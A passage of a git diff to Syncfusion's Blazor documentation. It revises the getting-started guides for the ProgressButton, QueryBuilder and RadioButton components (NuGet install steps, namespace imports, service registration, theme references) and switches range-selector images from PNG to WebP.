+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor ProgressButton component
 
 Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor ProgressButton component in the **~/Pages/Index.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 <SfProgressButton Content="Spin Left"></SfProgressButton>
 
@@ -205,6 +159,8 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor ProgressButton c
 
 {% previewsample "https://blazorplayground.syncfusion.com/embed/LDLzDiqDgZzSLSvX?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor ProgressButton Component](./images/blazor-progressbutton-component.png)" %}
 
+N> [View sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/ProgressButton).
+
 ## See also
 
 * [Getting started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for client-side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app)
diff --git a/blazor/query-builder/getting-started-webapp.md b/blazor/query-builder/getting-started-webapp.md
index 58c2047842..6e5df300ae 100644
--- a/blazor/query-builder/getting-started-webapp.md
+++ b/blazor/query-builder/getting-started-webapp.md
@@ -169,6 +169,8 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.QueryBuilder
+
 <SfQueryBuilder TValue="EmployeeDetails">
     <QueryBuilderColumns>
         <QueryBuilderColumn Field="EmployeeID" Label="Employee ID" Type="ColumnType.Number"></QueryBuilderColumn>
diff --git a/blazor/query-builder/getting-started.md b/blazor/query-builder/getting-started.md
index 7ec6c032c2..7582e54f9a 100644
--- a/blazor/query-builder/getting-started.md
+++ b/blazor/query-builder/getting-started.md
@@ -9,9 +9,7 @@ documentation: ug
 
 # Getting Started with Blazor QueryBuilder Component
 
-This section explains how to add the [Blazor Query Builder](https://www.syncfusion.com/blazor-components/blazor-query-builder) component in a Blazor WebAssembly app using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
-
-To get started quickly with the Blazor Query Builder component, refer to this [GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/QueryBuilder) sample.
+This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Query Builder](https://www.syncfusion.com/blazor-components/blazor-query-builder) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -25,23 +23,6 @@ To get started quickly with the Blazor Query Builder component, refer to this [G
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.png)
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor QueryBuilder and Themes NuGet in the App
-
-To add the **Blazor Query Builder** component, open the NuGet Package Manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution), then search and install [Syncfusion.Blazor.QueryBuilder](https://www.nuget.org/packages/Syncfusion.Blazor.QueryBuilder) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/). Alternatively, run the following commands in the Package Manager Console to achieve the same.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.QueryBuilder -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -54,7 +35,7 @@ N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are availa
 
 Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
 
@@ -67,26 +48,6 @@ cd BlazorApp
 
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor QueryBuilder and Themes NuGet in the App
-
-- Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-- Ensure in the project root directory where the `.csproj` file is located.
-- Run the following commands to install [Syncfusion.Blazor.QueryBuilder](https://www.nuget.org/packages/Syncfusion.Blazor.QueryBuilder) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages and ensure all dependencies are installed.
-
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.QueryBuilder -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -105,7 +66,7 @@ dotnet --version
 
 ## Create a Blazor WebAssembly App using .NET CLI
 
-Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to [this Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
+Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
@@ -116,29 +77,30 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor QueryBuilder and Themes NuGet in the App
+{% endtabcontent %}
+
+{% endtabcontents %}
 
-To add the **Blazor QueryBuilder** component to the application, run the following commands in a command prompt (Windows), command shell (Linux), or terminal (macOS) to install the [Syncfusion.Blazor.QueryBuilder](https://www.nuget.org/packages/Syncfusion.Blazor.QueryBuilder/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages. See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) for more details.
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.QueryBuilder](https://www.nuget.org/packages/Syncfusion.Blazor.QueryBuilder/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
 {% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% highlight C# tabtitle="Package Manager" %}
 
-dotnet add package Syncfusion.Blazor.QueryBuilder -Version {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-dotnet restore
+Install-Package Syncfusion.Blazor.QueryBuilder -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
-{% endtabcontent %}
-
-{% endtabcontents %}
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-## Add Import Namespaces
+## Add import namespaces
 
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.QueryBuilder` namespaces.
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.QueryBuilder` namespaces.
 
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
@@ -149,25 +111,17 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **~/Program.cs** file of the Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
 
 {% tabs %}
-{% highlight C# tabtitle="~/Program.cs" hl_lines="3 11" %}
+{% highlight C# tabtitle="Program.cs" %}
 
-using Microsoft.AspNetCore.Components.Web;
-using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
+....
 using Syncfusion.Blazor;
-
-var builder = WebAssemblyHostBuilder.CreateDefault(args);
-builder.RootComponents.Add<App>("#app");
-builder.RootComponents.Add<HeadOutlet>("head::after");
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
-
+....
 builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
 ....
 
 {% endhighlight %}
@@ -175,24 +129,26 @@ await builder.Build().RunAsync();
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references within the `<head>` section of the **~/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</head>
+
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+....
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
 
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
-## Add Blazor QueryBuilder component
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor QueryBuilder component
 
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Query Builder component in the **~/Pages/Index.razor** file.
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor QueryBuilder component in the **~/Pages/Index.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.QueryBuilder
 
 <SfQueryBuilder TValue="EmployeeDetails">
     <QueryBuilderColumns>
@@ -227,6 +183,8 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Query Builder co
 
 ![Blazor Query Builder component](./images/blazor-querybuilder-component.png)
 
+N> [View sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/QueryBuilder).
+
 ## See also
 
 * [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Web Assembly App in Visual Studio or .NET CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app)
diff --git a/blazor/radio-button/getting-started-webapp.md b/blazor/radio-button/getting-started-webapp.md
index 53c1ab36d0..0d2739a656 100644
--- a/blazor/radio-button/getting-started-webapp.md
+++ b/blazor/radio-button/getting-started-webapp.md
@@ -167,6 +167,8 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Buttons
+
 <SfRadioButton Label="Option 1" Name="options" Value="card" @bind-Checked="stringChecked"></SfRadioButton>
 <SfRadioButton Label="Option 2" Name="options" Value="cash" @bind-Checked="stringChecked"></SfRadioButton>
 
diff --git a/blazor/radio-button/getting-started.md b/blazor/radio-button/getting-started.md
index 9f0d770913..be33df19a7 100644
--- a/blazor/radio-button/getting-started.md
+++ b/blazor/radio-button/getting-started.md
@@ -11,9 +11,7 @@ documentation: ug
 
 # Getting Started with Blazor RadioButton Component
 
-This section explains how to include the [Blazor RadioButton](https://www.syncfusion.com/blazor-components/blazor-radio-button) component in a Blazor WebAssembly app using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
-
-To get started quickly with the Blazor RadioButton component, refer to this [GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/RadioButton).
+This section explains how to include the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor RadioButton](https://www.syncfusion.com/blazor-components/blazor-radio-button) component in a Blazor WebAssembly app using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -27,23 +25,6 @@ To get started quickly with the Blazor RadioButton component, refer to this [Git
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.png)
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Buttons and Themes NuGet in the App
-
-To add the **Blazor RadioButton** component, open the NuGet Package Manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution), then search and install [Syncfusion.Blazor.Buttons](https://www.nuget.org/packages/Syncfusion.Blazor.Buttons) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/). Alternatively, run the following commands in the Package Manager Console to achieve the same.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.Buttons -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -56,7 +37,7 @@ N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are availa
 
 Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
 
@@ -69,26 +50,6 @@ cd BlazorApp
 
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Buttons and Themes NuGet in the App
-
-* Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-* Ensure in the project root directory where the `.csproj` file is located.
-* Run the following commands to install [Syncfusion.Blazor.Buttons](https://www.nuget.org/packages/Syncfusion.Blazor.Buttons) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages and ensure all dependencies are installed.
-
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.Buttons -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -107,7 +68,7 @@ dotnet --version
 
 ## Create a Blazor WebAssembly App using .NET CLI
 
-Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to [this Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
+Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
@@ -118,29 +79,30 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Buttons and Themes NuGet in the App
+{% endtabcontent %}
+
+{% endtabcontents %}
 
-To add the **Blazor RadioButton** component to the application, run the following commands in a command prompt (Windows), command shell (Linux), or terminal (macOS) to install the [Syncfusion.Blazor.Buttons](https://www.nuget.org/packages/Syncfusion.Blazor.Buttons/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages. See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) for more details.
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.Buttons](https://www.nuget.org/packages/Syncfusion.Blazor.Buttons/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
 {% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% highlight C# tabtitle="Package Manager" %}
 
-dotnet add package Syncfusion.Blazor.Buttons -Version {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-dotnet restore
+Install-Package Syncfusion.Blazor.Buttons -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
-{% endtabcontent %}
-
-{% endtabcontents %}
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-## Add Import Namespaces
+## Add import namespaces
 
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Buttons` namespaces.
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Buttons` namespaces.
 
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
@@ -151,50 +113,44 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **~/Program.cs** file of the Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
 
 {% tabs %}
-{% highlight C# tabtitle="~/Program.cs" hl_lines="3 11" %}
+{% highlight C# tabtitle="Program.cs" %}
 
-using Microsoft.AspNetCore.Components.Web;
-using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
+....
 using Syncfusion.Blazor;
-
-var builder = WebAssemblyHostBuilder.CreateDefault(args);
-builder.RootComponents.Add<App>("#app");
-builder.RootComponents.Add<HeadOutlet>("head::after");
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
-
+....
 builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
 ....
 
 {% endhighlight %}
 {% endtabs %}
 
-## Add stylesheet
+## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references within the `<head>` section of the **~/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</head>
+
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+....
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
 
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
-## Add Blazor RadioButton component
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor RadioButton component
 
 Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor RadioButton component in the **~/Pages/Index.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.Buttons
 
 <SfRadioButton Label="Option 1" Name="options" Value="card" @bind-Checked="stringChecked"></SfRadioButton>
 <SfRadioButton Label="Option 2" Name="options" Value="cash" @bind-Checked="stringChecked"></SfRadioButton>
@@ -210,7 +166,9 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor RadioButton comp
 
 {% previewsample "https://blazorplayground.syncfusion.com/embed/VZBptsKNKsShQnkV?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor RadioButton Component](./images/blazor-radiobutton-component.png)" %} 
 
-## See Also
+N> [View sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/RadioButton).
+
+## See also
 
 * [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Client-Side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app)
 * [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Server-Side in Visual Studio](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio)
diff --git a/blazor/range-selector/custom.md b/blazor/range-selector/custom.md
index a6f40c3d6b..614656d85b 100644
--- a/blazor/range-selector/custom.md
+++ b/blazor/range-selector/custom.md
@@ -46,7 +46,7 @@ The Range Selector can be customized by using the [RangeNavigatorStyleSettings](
 
 ```
 
-![Customizing Blazor RangeNavigator Appearance](images/custom/blazor-rangenavigator-custom-appearance.png)
+![Customizing Blazor RangeNavigator Appearance](images/custom/blazor-rangenavigator-custom-appearance.webp)
 
 ## Thumb
 
@@ -92,7 +92,7 @@ The [RangeNavigatorThumbSettings](https://help.syncfusion.com/cr/blazor/Syncfusi
 
 ```
 
-![Blazor RangeNavigator with Thumb](images/custom/blazor-rangenavigator-thumb.png)
+![Blazor RangeNavigator with Thumb](images/custom/blazor-rangenavigator-thumb.webp)
 
 ## Border
 
@@ -131,7 +131,7 @@ Using the [RangeNavigatorBorder](https://help.syncfusion.com/cr/blazor/Syncfusio
 
 ```
 
-![Blazor RangeNavigator with Border](images/custom/blazor-rangenavigator-with-border.png)
+![Blazor RangeNavigator with Border](images/custom/blazor-rangenavigator-with-border.webp)
 
 ## Snapping
 
diff --git a/blazor/range-selector/data.md b/blazor/range-selector/data.md
index 053614a237..787c984cd4 100644
--- a/blazor/range-selector/data.md
+++ b/blazor/range-selector/data.md
@@ -50,7 +50,7 @@ The numeric scale is used to represent the numeric values of data in a Range Sel
 
 ```
 
-![Blazor RangeNavigator with Numeric Scale](images/data/blazor-rangenavigator-numeric-scale.png)
+![Blazor RangeNavigator with Numeric Scale](images/data/blazor-rangenavigator-numeric-scale.webp)
 
 ### Range
 
@@ -100,7 +100,7 @@ The minimum and the maximum of the scale will be calculated automatically based
 
 ```
 
-![Blazor RangeNavigator with Numeric range](images/data/blazor-rangenavigator-numeric-range.png)
+![Blazor RangeNavigator with Numeric range](images/data/blazor-rangenavigator-numeric-range.webp)
 
 ### Label Format
 
@@ -141,7 +141,7 @@ The numeric labels can be formatted using the [LabelFormat](https://help.syncfus
 
 ```
 
-![Blazor RangeNavigator with Numeric label format](images/data/blazor-rangenavigator-label-format.png)
+![Blazor RangeNavigator with Numeric label format](images/data/blazor-rangenavigator-label-format.webp)
 
 The following table shows the results of applying some commonly used label formats to numeric values.
 
@@ -241,7 +241,7 @@ The Range Selector also supports the Custom Label formats using the placeholders
 
 ```
 
-![Blazor RangeNavigator with Custom Label Format](images/data/blazor-rangenavigator-custom-label-format.png)
